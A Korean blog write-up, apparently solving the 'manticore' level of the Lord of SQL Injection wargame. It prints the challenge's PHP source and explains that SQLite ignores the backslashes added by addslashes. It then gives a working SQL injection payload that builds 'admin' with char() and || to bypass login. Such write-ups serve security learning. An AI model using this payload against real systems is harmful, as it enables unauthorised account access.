wargame/Lord Of SQL Injection

[LOS] manticore

LimeLee 2019. 7. 17. 12:12

소스코드 분석


<?php

  include "./config.php";
  
login_chk();
  
$db sqlite_open("./db/manticore.db");
  
$_GET['id'] = addslashes($_GET['id']);
  
$_GET['pw'] = addslashes($_GET['pw']);
  
$query "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result sqlite_fetch_array(sqlite_query($db,$query));
  if(
$result['id'] == "admin"solve("manticore");
  
highlight_file(__FILE__);
?>


1.  $db sqlite_open("./db/manticore.db"); > DB환경이 sqlite.


2.  $_GET['id'] = addslashes($_GET['id']); $_GET['pw'] = addslashes($_GET['pw']); > 이스케이프 문자 앞에 백슬래시(\) 추가.


3.  if($result['id'] == "admin"solve("manticore"); > 반환 값과 문자열과의 비교로 인증 우회로 클리어 가능.



문제 풀이


cobolt와 비슷하지만 이스케이프 문자 앞에 백슬래시가 붙는다.

하지만 sqlite에선 백슬래시가 이스케이프 문자 앞에 붙어도 이스케이프 문자로 인식한다.


?id='



싱글쿼터(')가 문자열로 인식되었다면 문자열 "'"에 해당하는 아이디는 테이블 내에 존재하지 않기 때문에 소스코드만 출력되어야 정상이지만

싱글쿼터(')가 이스케이프 문자로 인식되어 쿼리에 에러가 발생하였다.


chupacabra와 동일한 파라미터를 요청할까 생각했지만 이스케이프 문자로 인식되더라도 백슬래시(\)가 붙긴 하기 때문에 동일한 파라미터를 요청하게 되면 "admin\"에 해당하는 아이디를 검색하게 되고 당연히 테이블 내 존재하지 않기 때문에 클리어할 수 없다.


이스케이프 한 후 싱글쿼터를 쓰지 않고 "admin"이라는 문자열을 만들어야 한다.

char()함수를 통해 싱글쿼터를 쓰지 않고 "||" 를 통해 문자들을 합쳤다. MYSQL에서의 "||" 는 OR의 의미이지만 ORACLE과 sqlite에서는 MYSQL의 concat()함수와 비슷하다.


위를 파라미터로 요청한다. 


?id=' or id=char(97)||char(100)||char(109)||char(105)||char(110)-- -




'wargame > Lord Of SQL Injection' 카테고리의 다른 글

[LOS] poltergeist  (0) 2019.07.17
[LOS] banshee  (0) 2019.07.17
[LOS] chupacabra  (0) 2019.07.16
[LOS] cyclops  (0) 2019.05.10
[LOS] godzilla  (0) 2019.05.10